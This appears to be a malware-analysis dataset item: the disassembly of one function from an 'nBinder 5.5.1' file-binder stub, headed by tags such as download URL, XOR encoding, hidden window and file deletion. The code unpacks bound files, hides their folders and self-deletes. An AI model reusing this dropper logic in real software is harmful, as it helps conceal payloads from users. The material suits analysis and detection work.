Function at 0x40500a
Capabilities:
Create directory
Create thread
Delete directory
Delete file
Download and write a file
Download url
Encode data using xor
Hide graphical window
Move file
Read file on windows
Receive and write data from server to client
Receive data
Resolve function by parsing pe exports
Set file attributes
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x417ea0
mov eax, dword fs:[0]
push eax
sub esp, 0x258
mov eax, dword [0x41d2f0]
xor eax, esp
mov dword [esp + 0x250], eax
push ebx
push esi
push edi
mov eax, dword [0x41d2f0]
xor eax, esp
push eax
lea eax, [esp + 0x268]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [esp + 0x18], ebx
mov esi, dword [0x41eec0]
mov dword [esp + 0x48], eax
mov edi, ecx
call fcn.004017e7
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push 0xf
pop esi
push ebx
lea ecx, [esp + 0xb4]
mov byte [0x41e150], bl
mov byte [0x41e151], bl
mov dword [0x41e154], 0xf423f
mov byte [0x41e152], bl
mov dword [esp + 0xcc], esi
call fcn.0040158f
mov dword [esp + 0x270], ebx
push ebx
lea ecx, [esp + 0xd0]
mov dword [esp + 0xe8], esi
call fcn.0040158f
mov byte [esp + 0x270], 1
push edi
lea ecx, [esp + 0xec]
mov dword [esp + 0x50], ebx
mov dword [esp + 0x48], ebx
call fcn.00406ec3
push 0x104
mov edi, 0x41edb0
push edi
push ebx
mov byte [esp + 0x27c], 2
mov dword [esp + 0x40], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x41ed80
push edi
call fcn.0040a7fc
cmp dword [0x41ed94], 0x1d718
pop ecx
pop ecx
jg 0x405125
push 0x10
push str.Error
push str.This_file_appears_to_be_corrupted.
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
push ebx
call fcn.0040a5a0
push ebx
push str.__unpack
lea eax, [esp + 0xf0]
push eax
call fcn.00406f79
or esi, 0xffffffff
cmp eax, esi
lea eax, [esp + 0xe8]
je 0x4051aa
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push eax
call fcn.00406ee5
lea ebx, [esp + 0x6c]
call fcn.00401bf4
push esi
xor esi, esi
push esi
push eax
lea ecx, [esp + 0xbc]
mov byte [esp + 0x27c], 3
call fcn.004013b7
push esi
push 1
mov ecx, ebx
mov byte [esp + 0x278], 2
call fcn.00401469
cmp dword [esp + 0xc4], esi
jne 0x405206
push 0x419c34
lea ecx, [esp + 0xb4]
call fcn.00401446
xor ebx, ebx
xor esi, esi
inc esi
jmp 0x40520b
push ebx
push str.__pass
push eax
call fcn.00406f79
cmp eax, esi
je 0x4051a5
sub esp, 0x1c
lea eax, [esp + 0x104]
mov ecx, esp
mov dword [esp + 0x3c], esp
push eax
call fcn.00406ee5
lea ebx, [esp + 0x6c]
call fcn.00401bf4
push esi
push 0
push eax
lea ecx, [esp + 0xd8]
mov byte [esp + 0x27c], 4
call fcn.004013b7
push 0
push 1
mov ecx, ebx
mov byte [esp + 0x278], 2
call fcn.00401469
jmp 0x4051a3
xor esi, esi
inc esi
xor ebx, ebx
push 0x419d70
lea eax, [esp + 0x14]
push edi
push eax
call fcn.0040af2e
add esp, 0xc
test eax, eax
jne 0x406ab9
cmp dword [esp + 0x10], ebx
je 0x406ab9
push ebx
push dword [0x41e144]
push dword [esp + 0x18]
call fcn.004095ae
add esp, 0xc
push dword [esp + 0x10]
push esi
push 4
push 0x41e160
call fcn.0040a114
push dword [esp + 0x20]
push esi
push 4
push 0x41e16c
call fcn.0040a114
push dword [esp + 0x30]
push esi
push 4
push 0x41e168
call fcn.0040a114
push dword [esp + 0x40]
mov edi, dword [0x41e144]
push esi
lea eax, [esp + 0x13c]
push 0x1e
push eax
add edi, 0x2a
call fcn.0040a114
lea eax, [esp + 0x144]
add esp, 0x40
push eax
call fcn.00409640
pop ecx
lea eax, [esp + 0x104]
push eax
mov ecx, 0x41e1b4
call fcn.00401446
push ebx
push edi
push dword [esp + 0x18]
call fcn.004095ae
add esp, 0xc
push dword [esp + 0x10]
push esi
push 4
pop edi
push edi
push 0x41e158
call fcn.0040a114
push dword [esp + 0x20]
push esi
push edi
push 0x41e15c
call fcn.0040a114
push dword [esp + 0x30]
push esi
push edi
push 0x41e174
call fcn.0040a114
push dword [esp + 0x40]
push esi
push edi
push 0x41e178
call fcn.0040a114
add esp, 0x40
push dword [esp + 0x10]
lea eax, [esp + 0x108]
push esi
push 0x1e
push eax
call fcn.0040a114
lea eax, [esp + 0x114]
push eax
call fcn.00409640
add esp, 0x14
push dword [esp + 0x10]
lea eax, [esp + 0x48]
push esi
push 2
push eax
call fcn.0040a114
mov eax, dword [esp + 0x54]
mov ecx, dword [0x41e160]
sub dword [0x41e16c], eax
push dword [0x41e16c]
add dword [0x41e168], eax
add ecx, eax
sub dword [0x41e158], ecx
call fcn.00408316
mov edx, dword [0x41e16c]
mov ecx, dword [0x41e168]
add esp, 0x14
mov dword [0x41ed64], eax
push 0xfffffffffffffff3
pop eax
sub eax, dword [esp + 0x44]
xor edi, edi
add dword [0x41e160], eax
mov eax, edx
sub eax, dword [0x41e160]
sub eax, ecx
mov dword [0x41e164], eax
add eax, ecx
sub dword [0x41e158], eax
cmp edx, ebx
jbe 0x4053cf
push dword [esp + 0x10]
lea eax, [esp + 0x1b]
push esi
push esi
push eax
call fcn.0040a114
mov al, byte [esp + 0x27]
mov ecx, dword [0x41ed64]
add esp, 0x10
mov byte [ecx + edi], al
inc edi
cmp edi, dword [0x41e16c]
jb 0x4053a6
lea eax, [esp + 0x104]
push eax
mov ecx, 0x41e198
call fcn.00401446
test word [0x41e158], 0x8000
je 0x4054fc
push dword [esp + 0x10]
push 1
push 4
push 0x41e240
call fcn.0040a114
push dword [esp + 0x20]
lea eax, [esp + 0x118]
push 1
push 0x28
push eax
call fcn.0040a114
add esp, 0x20
lea eax, [esp + 0x104]
mov edi, 0x41e208
push eax
mov ecx, edi
call fcn.00401446
push dword [esp + 0x10]
lea eax, [esp + 0x108]
push 1
push 0x46
push eax
call fcn.0040a114
add esp, 0x10
lea eax, [esp + 0x104]
mov esi, 0x41e224
push eax
mov ecx, esi
call fcn.00401446
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push edi
mov ebx, 0x41e198
call fcn.00406ee5
mov ecx, ebx
lea ebx, [esp + 0x6c]
call fcn.00402107
push 0xffffffffffffffff
push 0
push eax
mov ecx, edi
mov byte [esp + 0x27c], 5
call fcn.004013b7
push 0
push 1
mov ecx, ebx
mov byte [esp + 0x278], 2
call fcn.00401469
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push esi
mov edi, 0x41e1b4
call fcn.00406ee5
mov ecx, edi
lea ebx, [esp + 0x6c]
call fcn.00402107
push 0xffffffffffffffff
push 0
push eax
mov ecx, esi
mov byte [esp + 0x27c], 6
call fcn.004013b7
push 0
push 1
mov ecx, ebx
mov byte [esp + 0x278], 2
call fcn.00401469
mov eax, dword [0x41e16c]
mov ecx, dword [esp + 0x44]
add eax, ecx
sub dword [0x41e240], eax
xor esi, esi
xor ebx, ebx
inc esi
test word [0x41e158], 0x4000
je 0x405530
push dword [esp + 0x10]
lea eax, [esp + 0x108]
push esi
push 0x32
push eax
call fcn.0040a114
add esp, 0x10
lea eax, [esp + 0x104]
push eax
mov ecx, 0x41e17c
call fcn.00401446
test word [0x41e158], 0x800
je 0x405545
mov ecx, 0x41ed94
call fcn.00402a68
mov esi, dword [0x41e160]
xor ecx, ecx
mov edi, 0x88
mov eax, esi
mov edx, edi
mul edx
seto cl
neg ecx
or ecx, eax
xor eax, eax
add ecx, 4
setb al
neg eax
or eax, ecx
push eax
call fcn.00408316
pop ecx
mov dword [esp + 0x20], eax
cmp eax, ebx
mov byte [esp + 0x270], 7
je 0x4055a7
push 0x406b3e
push 0x406b1a
push esi
mov dword [eax], esi
add eax, 4
push edi
push eax
mov dword [esp + 0x38], eax
call fcn.00409ade
mov eax, dword [esp + 0x24]
mov dword [esp + 0x1c], eax
jmp 0x4055ab
mov dword [esp + 0x1c], ebx
mov byte [esp + 0x270], 2
mov esi, dword [0x41e160]
xor ecx, ecx
push 0x1c
pop edx
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
xor eax, eax
add ecx, 4
setb al
neg eax
or eax, ecx
push eax
call fcn.00408316
pop ecx
mov dword [esp + 0x20], eax
cmp eax, ebx
mov byte [esp + 0x270], 8
je 0x40560a
push 0x401344
push fcn.0040132f
push esi
lea edi, [eax + 4]
push 0x1c
push edi
mov dword [eax], esi
call fcn.00409ade
mov dword [esp + 0x3c], edi
jmp 0x40560e
mov dword [esp + 0x3c], ebx
mov byte [esp + 0x270], 2
test byte [0x41e158], 0x10
je 0x405634
test word [0x41e158], 0x400
jne 0x405634
call fcn.0040216e
jmp 0x40511f
cmp dword [0x41e160], ebx
mov dword [esp + 0x30], ebx
jbe 0x40598f
mov edi, dword [esp + 0x1c]
add edi, 0x54
push dword [esp + 0x10]
lea esi, [edi + 0x1c]
push 1
lea eax, [esi + 8]
push 4
push eax
call fcn.0040a114
push dword [esp + 0x20]
lea ebx, [edi + 0x20]
push 1
push 4
push ebx
call fcn.0040a114
push dword [esp + 0x30]
push 1
push 1
push esi
call fcn.0040a114
mov eax, dword [esi + 8]
movzx ecx, byte [esi]
shr eax, 0xa
add eax, ecx
sub dword [ebx], eax
push dword [esp + 0x40]
lea eax, [esp + 0x138]
push 1
push 0x64
push eax
call fcn.0040a114
add esp, 0x40
sub esp, 0x1c
lea eax, [esp + 0x120]
mov ecx, esp
mov dword [esp + 0x3c], esp
push eax
mov ebx, 0x41e1b4
call fcn.00406ec3
mov ecx, ebx
lea ebx, [esp + 0x6c]
call fcn.00402107
push 0xffffffffffffffff
push 0
push eax
lea ecx, [esi - 0x54]
mov byte [esp + 0x27c], 9
call fcn.004013b7
push 0
push 1
mov ecx, ebx
mov byte [esp + 0x278], 2
call fcn.00401469
push dword [esp + 0x10]
lea eax, [esp + 0x108]
push 1
push 0xc8
push eax
call fcn.0040a114
sub esp, 0xc
lea eax, [esp + 0x120]
mov ecx, esp
mov dword [esp + 0x3c], esp
push eax
mov esi, 0x41e198
call fcn.00406ec3
mov ecx, esi
lea ebx, [esp + 0x6c]
call fcn.00402107
push 0xffffffffffffffff
push 0
lea esi, [edi - 0x54]
push eax
mov ecx, esi
mov byte [esp + 0x27c], 0xa
call fcn.004013b7
xor ebx, ebx
push 0
inc ebx
mov byte [esp + 0x274], 2
push ebx
lea ecx, [esp + 0x58]
call fcn.00401469
mov eax, dword [edi + 0x20]
test ax, 0x200
je 0x4059ed
push dword [esp + 0x10]
lea eax, [esp + 0x108]
push ebx
push 0x64
push eax
call fcn.0040a114
add esp, 0x10
lea eax, [esp + 0x104]
push eax
mov ecx, edi
call fcn.00401446
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push edi
mov ebx, 0x41e1b4
call fcn.00406ee5
mov ecx, ebx
lea ebx, [esp + 0x6c]
call fcn.00402107
push 0xffffffffffffffff
xor ebx, ebx
push ebx
push eax
mov ecx, edi
mov byte [esp + 0x27c], 0xb
call fcn.004013b7
push ebx
push 1
lea ecx, [esp + 0x58]
mov byte [esp + 0x278], 2
call fcn.00401469
push ebx
push str._UNPACK_
push edi
call fcn.00406f79
cmp eax, 0xffffffff
je 0x405836
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x41e198
call fcn.00406ee5
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x64], esp
push esi
mov byte [esp + 0x2ac], 0xc
call fcn.00406ee5
lea ecx, [esp + 0xa4]
mov byte [esp + 0x2a8], 2
call fcn.00402300
mov byte [esp + 0x270], 0xd
or dword [esp + 0x18], 1
jmp 0x405857
push 0x419bf7
lea ecx, [esp + 0x98]
call fcn.00406ec3
mov dword [esp + 0x270], 0xe
or dword [esp + 0x18], 2
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push eax
call fcn.00406ee5
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x64], esp
push edi
mov dword [esp + 0x2ac], 0xf
call fcn.00406ee5
lea ecx, [esp + 0x88]
mov byte [esp + 0x2a8], 0xe
call fcn.00402300
push 0xffffffffffffffff
push ebx
push eax
mov ecx, edi
mov dword [esp + 0x27c], 0x10
call fcn.004013b7
push ebx
push 1
lea ecx, [esp + 0x58]
call fcn.00401469
test byte [esp + 0x18], 2
je 0x4058d1
and dword [esp + 0x18], 0xfffffffd
push ebx
push 1
lea ecx, [esp + 0x9c]
call fcn.00401469
mov dword [esp + 0x270], 2
test byte [esp + 0x18], 1
je 0x4058f5
and dword [esp + 0x18], 0xfffffffe
push 0
push 1
lea ecx, [esp + 0x74]
call fcn.00401469
xor ebx, ebx
inc ebx
test byte [edi + 0x20], 0x40
je 0x405928
push dword [esp + 0x10]
lea eax, [esp + 0x108]
push ebx
push 0xc8
push eax
call fcn.0040a114
add esp, 0x10
lea eax, [esp + 0x104]
push eax
lea ecx, [edi - 0x1c]
call fcn.00401446
mov eax, dword [edi + 0x20]
mov ecx, eax
shr ecx, 2
and cl, bl
mov byte [edi + 0x2c], cl
and dword [edi + 0x28], 0
mov ecx, eax
shr ecx, 5
and cl, bl
mov byte [edi + 0x31], cl
mov ecx, eax
shr ecx, 4
and cl, bl
mov byte [edi + 0x30], cl
mov cl, al
and cl, bl
mov byte [edi + 0x2e], cl
mov ecx, eax
shr ecx, 3
and cl, bl
mov byte [edi + 0x2d], cl
mov ecx, eax
shr eax, 6
shr ecx, 1
and al, bl
and cl, bl
inc dword [esp + 0x30]
mov byte [edi + 0x32], al
mov eax, dword [esp + 0x30]
mov byte [edi + 0x2f], cl
mov byte [edi + 0x33], 0
add edi, 0x88
cmp eax, dword [0x41e160]
jb 0x40564b
xor ebx, ebx
mov esi, dword [0x41e164]
xor ecx, ecx
push 0x1c
pop edx
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
xor eax, eax
add ecx, 4
setb al
neg eax
or eax, ecx
push eax
call fcn.00408316
pop ecx
mov dword [esp + 0x20], eax
cmp eax, ebx
mov byte [esp + 0x270], 0x13
je 0x405a75
push 0x401344
push fcn.0040132f
push esi
lea edi, [eax + 4]
push 0x1c
push edi
mov dword [eax], esi
call fcn.00409ade
mov dword [esp + 0x30], edi
jmp 0x405a79
test ax, 0x100
mov ecx, edi
je 0x405a66
push str._OUTPUTCMD_
call fcn.00401446
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push esi
call fcn.00406ee5
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x64], esp
push edi
mov byte [esp + 0x2ac], 0x11
call fcn.00406ee5
lea ecx, [esp + 0xa4]
mov byte [esp + 0x2a8], 2
call fcn.00402300
push 0xffffffffffffffff
push 0
push eax
mov ecx, edi
mov byte [esp + 0x27c], 0x12
call fcn.004013b7
push 0
push ebx
lea ecx, [esp + 0x74]
mov byte [esp + 0x278], 2
call fcn.00401469
jmp 0x4058f8
push 0x419bf7
call fcn.00401446
jmp 0x4058f8
mov dword [esp + 0x30], ebx
mov byte [esp + 0x270], 2
xor esi, esi
cmp dword [0x41e164], ebx
jbe 0x405ac5
mov edi, dword [esp + 0x30]
push dword [esp + 0x10]
lea eax, [esp + 0x108]
push 1
push 0x12c
push eax
call fcn.0040a114
add esp, 0x10
lea eax, [esp + 0x104]
push eax
mov ecx, edi
call fcn.00401446
inc esi
add edi, 0x1c
cmp esi, dword [0x41e164]
jb 0x405a8f
mov eax, dword [0x41e168]
xor ecx, ecx
push 0x10
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00408316
cmp dword [0x41e168], ebx
pop ecx
mov dword [0x41ed70], eax
mov dword [esp + 0x28], ebx
jbe 0x405c49
xor edi, edi
xor esi, esi
inc edi
push dword [esp + 0x10]
lea eax, [eax + esi + 2]
push edi
push edi
push eax
call fcn.0040a114
push dword [esp + 0x20]
mov eax, dword [0x41ed70]
push edi
lea eax, [eax + esi + 1]
push edi
push eax
call fcn.0040a114
push dword [esp + 0x30]
mov eax, dword [0x41ed70]
push edi
add eax, esi
push edi
push eax
call fcn.0040a114
push dword [esp + 0x40]
mov eax, dword [0x41ed70]
push edi
lea eax, [eax + esi + 4]
push 4
push eax
call fcn.0040a114
mov eax, dword [0x41ed70]
add esp, 0x40
push dword [esp + 0x10]
lea eax, [eax + esi + 8]
push edi
push edi
push eax
call fcn.0040a114
mov eax, dword [0x41ed70]
mov cl, byte [eax + esi + 8]
add esp, 0x10
cmp cl, bl
je 0x405bdd
movzx edi, cl
xor ecx, ecx
push 0x1c
pop edx
mov eax, edi
mul edx
seto cl
neg ecx
or ecx, eax
xor eax, eax
add ecx, 4
setb al
neg eax
or eax, ecx
push eax
call fcn.00408316
pop ecx
mov dword [esp + 0x20], eax
cmp eax, ebx
mov byte [esp + 0x270], 0x14
je 0x405bc7
push 0x401344
push fcn.0040132f
push edi
mov dword [eax], edi
add eax, 4
push 0x1c
push eax
mov dword [esp + 0x38], eax
call fcn.00409ade
mov ecx, dword [esp + 0x24]
jmp 0x405bc9
xor ecx, ecx
mov byte [esp + 0x270], 2
mov eax, dword [0x41ed70]
xor edi, edi
mov dword [eax + esi + 0xc], ecx
inc edi
cmp byte [eax + esi + 8], bl
mov byte [esp + 0x17], bl
jbe 0x405c32
push dword [esp + 0x10]
lea eax, [esp + 0x108]
push edi
push 0x12c
push eax
call fcn.0040a114
movzx ecx, byte [esp + 0x27]
mov eax, dword [0x41ed70]
imul ecx, ecx, 0x1c
add ecx, dword [eax + esi + 0xc]
add esp, 0x10
lea eax, [esp + 0x104]
push eax
call fcn.00401446
inc byte [esp + 0x17]
mov eax, dword [0x41ed70]
mov cl, byte [esp + 0x17]
cmp cl, byte [esi + eax + 8]
jb 0x405be7
inc dword [esp + 0x28]
mov ecx, dword [esp + 0x28]
add esi, 0x10
cmp ecx, dword [0x41e168]
jb 0x405af9
test byte [0x41e158], 0x10
je 0x405ca9
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
call esi
mov eax, dword [0x41e160]
xor edx, edx
cmp eax, ebx
jbe 0x405c81
mov ecx, dword [esp + 0x1c]
add ecx, 0x74
test byte [ecx], 0x80
je 0x405c9d
inc edx
add ecx, 0x88
cmp edx, eax
jb 0x405c71
push 0x40
push str.nBinder_5.5.1_Limited
push str.This_file_was_created_using_nBinder_5.5.1._For_more_info_visit_www.nkprods.com_._nWarning:_Contains_binded_files_that_may_pose_a_security_risk._n_This_limited_file_will_delete_itself_after_run._Also_please_note_that_this_Limited_version_is_slower_than_the_PRO_version.
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
test eax, eax
jne 0x405cd5
jmp 0x40562a
push 0x12c
call esi
jmp 0x40562a
mov eax, dword [0x41e160]
cmp eax, ebx
je 0x405cc0
mov ecx, dword [esp + 0x1c]
test byte [ecx + 0x74], 0x80
jne 0x40562a
mov ecx, dword [esp + 0x1c]
imul eax, eax, 0x88
test byte [eax + ecx - 0x14], 0x80
jne 0x40562a
mov eax, dword [0x41e178]
cmp eax, ebx
mov esi, dword [sym.imp.USER32.dll_DialogBoxParamA]
mov edi, 0xe282
je 0x405d21
cmp dword [esp + 0xc4], ebx
je 0x405d21
test byte [0x41e158], 0x20
push ebx
je 0x405120
push 0x406c2b
push ebx
push 0x67
push dword [esp + 0x58]
call esi
cmp eax, edi
je 0x405d32
push dword [esp + 0x10]
call fcn.004098ad
pop ecx
jmp 0x40511f
test byte [0x41e158], 0x20
je 0x405d32
cmp eax, ebx
je 0x40511f
cmp dword [0x41e174], ebx
je 0x405dd8
test word [0x41e158], 0x2000
je 0x40511f
cmp dword [esp + 0xe0], 3
jae 0x405d70
push ebx
push 0x406c2b
push ebx
push 0x67
push dword [esp + 0x58]
call esi
cmp eax, edi
je 0x405d9e
push dword [esp + 0x10]
jmp 0x405d16
cmp dword [esp + 0xe4], 0x10
mov ecx, dword [esp + 0xd0]
jae 0x405d88
lea ecx, [esp + 0xd0]
call fcn.0040182f
mov eax, dword [0x41ed6c]
cmp eax, dword [0x41e174]
jne 0x40511f
test byte [0x41e158], 0x10
je 0x405db6
test word [0x41e158], 0x400
je 0x40562a
cmp dword [0x41e160], ebx
je 0x405e2c
push ebx
push str._UNPACK_
push dword [esp + 0x24]
call fcn.00406f79
cmp eax, 0xffffffff
jne 0x405de3
mov eax, dword [esp + 0x1c]
jmp 0x405dfe
test word [0x41e158], 0x2000
jmp 0x405d98
push str._RUNTIME_
lea ecx, [esp + 0x70]
call fcn.00406ec3
mov byte [esp + 0x270], 0x15
or dword [esp + 0x18], 4
push 0xffffffffffffffff
push ebx
push eax
mov ecx, 0x41e1ec
call fcn.004013b7
mov dword [esp + 0x270], 2
test byte [esp + 0x18], 4
je 0x405e3b
push ebx
push 1
lea ecx, [esp + 0x74]
call fcn.00401469
jmp 0x405e3b
push str._RUNTIME_
mov ecx, 0x41e1ec
call fcn.00401446
mov eax, dword [esp + 0xc4]
cmp eax, ebx
je 0x405edc
lea edi, [eax - 1]
lea eax, [esp + 0xb0]
call fcn.00401397
cmp byte [eax], 0x5c
je 0x405e77
push 0x419c34
push dword [esp + 0xc8]
lea eax, [esp + 0xb8]
push eax
call fcn.00406f2c
xor ecx, ecx
cmp dword [0x41e16c], ebx
jbe 0x405e98
mov eax, dword [0x41ed64]
add eax, ecx
cmp byte [eax], bl
je 0x405e8f
mov byte [eax], 3
inc ecx
cmp ecx, dword [0x41e16c]
jb 0x405e81
xor edi, edi
cmp dword [0x41e160], ebx
jbe 0x405edc
mov esi, dword [esp + 0x1c]
add esi, 0x84
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0xb8]
push eax
lea ecx, [esi - 0x84]
call fcn.004013b7
mov byte [esi - 2], bl
mov byte [esi], bl
mov byte [esi + 1], bl
mov byte [esi - 3], bl
inc edi
add esi, 0x88
cmp edi, dword [0x41e160]
jb 0x405eac
cmp dword [0x41e160], ebx
mov dword [esp + 0x24], ebx
jbe 0x406116
mov eax, dword [esp + 0x3c]
mov edi, dword [esp + 0x1c]
mov dword [esp + 0x18], eax
add edi, 4
mov esi, ebx
cmp dword [edi + 0x10], ebx
je 0x4060e4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
push 0x419bf7
call fcn.00406ec3
sub esp, 0x1c
lea eax, [edi - 4]
mov ecx, esp
mov dword [esp + 0x64], esp
push eax
mov byte [esp + 0x2ac], 0x16
call fcn.00406ee5
lea ecx, [esp + 0xa4]
mov byte [esp + 0x2a8], 2
call fcn.00402300
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [edi - 4]
mov byte [esp + 0x27c], 0x17
call fcn.004013b7
push ebx
push 1
lea ecx, [esp + 0x74]
mov byte [esp + 0x278], 2
call fcn.00401469
cmp byte [edi + 0x7d], bl
je 0x406097
cmp esi, ebx
mov dword [esp + 0x38], ebx
jbe 0x405fae
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x28]
lea ecx, [edi - 4]
call fcn.004078c4
test al, al
jne 0x406097
inc dword [esp + 0x38]
add dword [esp + 0x28], 0x88
cmp dword [esp + 0x38], esi
jb 0x405f88
cmp dword [edi + 0x14], 0x10
jb 0x405fb8
mov eax, dword [edi]
jmp 0x405fba
mov eax, edi
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
sub esp, 0x1c
lea eax, [edi - 4]
mov ecx, esp
mov dword [esp + 0x3c], esp
push eax
call fcn.00406ee5
call fcn.0040290d
cmp dword [edi + 0x14], 0x10
jb 0x405fe7
mov eax, dword [edi]
jmp 0x405fe9
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
cmp dword [edi + 0x14], 0x10
jb 0x405ffa
mov eax, dword [edi]
jmp 0x405ffc
mov eax, edi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x406134
cmp dword [edi + 0x14], 0x10
jb 0x406016
mov eax, dword [edi]
jmp 0x406018
mov eax, edi
push 0x2026
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
je 0x406160
cmp dword [edi + 0x14], 0x10
mov dword [esp + 0x88], 0xc
mov dword [esp + 0x8c], ebx
mov dword [esp + 0x90], 1
jb 0x406053
mov eax, dword [edi]
jmp 0x406055
mov eax, edi
push ebx
push 0x82004006
push 3
lea ecx, [esp + 0x94]
push ecx
push 2
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, ebx
mov dword [esp + 0x4c], eax
jne 0x4060bc
imul esi, esi, 0x88
add esi, dword [esp + 0x1c]
cmp dword [esi + 0x18], 0x10
jb 0x406182
mov esi, dword [esi + 4]
jmp 0x406185
cmp dword [edi + 0x14], 0x10
jb 0x4060a1
mov eax, dword [edi]
jmp 0x4060a3
mov eax, edi
push ebx
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExA]
test eax, eax
je 0x4060bc
lea eax, [edi - 4]
call fcn.00402847
test al, al
je 0x406134
cmp dword [edi + 0x2c], ebx
je 0x4060f4
mov esi, dword [esp + 0x18]
push 0xffffffffffffffff
push ebx
lea eax, [edi - 4]
push eax
mov ecx, esi
call fcn.004013b7
push 0xffffffffffffffff
push ebx
lea eax, [edi + 0x18]
call fcn.00407764
mov esi, dword [esp + 0x24]
jmp 0x4060f4
mov ecx, dword [esp + 0x18]
push 0xffffffffffffffff
push ebx
lea eax, [edi + 0x18]
push eax
call fcn.004013b7
add dword [esp + 0x18], 0x1c
inc esi
add edi, 0x88
cmp esi, dword [0x41e160]
mov dword [esp + 0x24], esi
jb 0x405efd
cmp dword [0x41e160], ebx
je 0x4061b0
mov eax, dword [esp + 0x3c]
cmp dword [eax + 0x14], 3
jae 0x406192
push 0x10
push str.Error
push str.Could_not_read_first_file.
jmp 0x406154
imul esi, esi, 0x88
add esi, dword [esp + 0x1c]
cmp dword [esi + 0x18], 0x10
jb 0x406149
mov esi, dword [esi + 4]
jmp 0x40614c
add esi, 4
push 0x10
push esi
push str.Folder_could_not_be_created.
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4068ab
imul esi, esi, 0x88
add esi, dword [esp + 0x1c]
cmp dword [esi + 0x18], 0x10
jb 0x406175
mov esi, dword [esi + 4]
jmp 0x406178
add esi, 4
push 0x10
push esi
push str.Folder_could_not_be_changed.
jmp 0x406154
add esi, 4
push 0x10
push esi
push str.Folder_could_not_be_protected.
jmp 0x405118
test word [0x41e158], 0x8000
je 0x4061b0
lea eax, [esp + 0x48]
push eax
push ebx
push 0x406b90
call fcn.00409a27
add esp, 0xc
cmp byte [0x41e150], bl
jne 0x4068ab
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x3c], esp
mov esi, 0x41e17c
push esi
mov edi, 0x41e198
call fcn.00406ee5
mov ecx, edi
lea ebx, [esp + 0x88]
call fcn.00402107
push 0xffffffffffffffff
xor ebx, ebx
push ebx
push eax
mov ecx, esi
mov byte [esp + 0x27c], 0x18
call fcn.004013b7
push ebx
push 1
lea ecx, [esp + 0x74]
mov byte [esp + 0x278], 2
call fcn.00401469
push 0x1000
call fcn.00408316
cmp dword [0x41e194], 0x10
mov dword [esp + 0x38], eax
mov eax, dword [0x41e180]
pop ecx
jae 0x40622e
mov eax, 0x41e180
push eax
lea eax, [esp + 0x238]
push 0x29
push eax
call fcn.0040a62c
xor edi, edi
add esp, 0xc
cmp dword [0x41e16c], ebx
mov dword [esp + 0x38], edi
jbe 0x406841
jmp 0x406257
xor ebx, ebx
cmp byte [0x41e152], 0
je 0x406271
mov edi, dword [0x41e170]
mov dword [esp + 0x38], edi
mov byte [0x41e152], 0
mov edx, dword [0x41ed64]
mov al, byte [edi + edx]
test al, al
jne 0x40672a
xor esi, esi
xor eax, eax
cmp edi, ebx
mov dword [esp + 0x28], esi
jbe 0x40629e
cmp byte [eax + edx], 0
jne 0x406295
inc esi
inc eax
cmp eax, edi
jb 0x40628e
mov dword [esp + 0x28], esi
xor eax, eax
xor ecx, ecx
cmp esi, ebx
mov dword [esp + 0x20], esi
jbe 0x4062b6
cmp byte [ecx + edx], 0
jne 0x4062b1
inc eax
inc ecx
cmp ecx, esi
jb 0x4062aa
imul eax, eax, 0x88
add eax, dword [esp + 0x1c]
push 0xffffffffffffffff
push ebx
push eax
mov ecx, 0x41e1ec
call fcn.004013b7
imul esi, esi, 0x1c
mov eax, dword [esp + 0x3c]
add esi, eax
cmp dword [esi + 0x14], 3
jbe 0x4067ee
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x1c]
imul eax, eax, 0x88
lea edi, [eax + ecx]
cmp byte [edi + 0x86], 0
jne 0x40665c
cmp byte [edi + 0x87], 0
je 0x406342
mov eax, esi
call fcn.00402827
test al, al
jne 0x406715
mov eax, dword [edi + 0x7c]
test eax, eax
je 0x406715
cmp eax, 0xffffffff
je 0x406715
push 0
push eax
push dword [esp + 0x18]
call fcn.004095ae
add esp, 0xc
test eax, eax
jne 0x406715
test word [0x41e158], 0x8000
je 0x4063c4
xor ebx, ebx
cmp dword [0x41ed68], ebx
jne 0x406371
cmp ebx, 6
je 0x406371
push 0x1f4
inc ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x41ed68], 0
je 0x406357
cmp byte [0x41e150], 0
jne 0x4068a9
push 0xffffffffffffffff
push 0
lea eax, [edi + 0x1c]
push eax
mov ecx, 0x41e1d0
call fcn.004013b7
mov eax, dword [edi + 0x78]
push 0
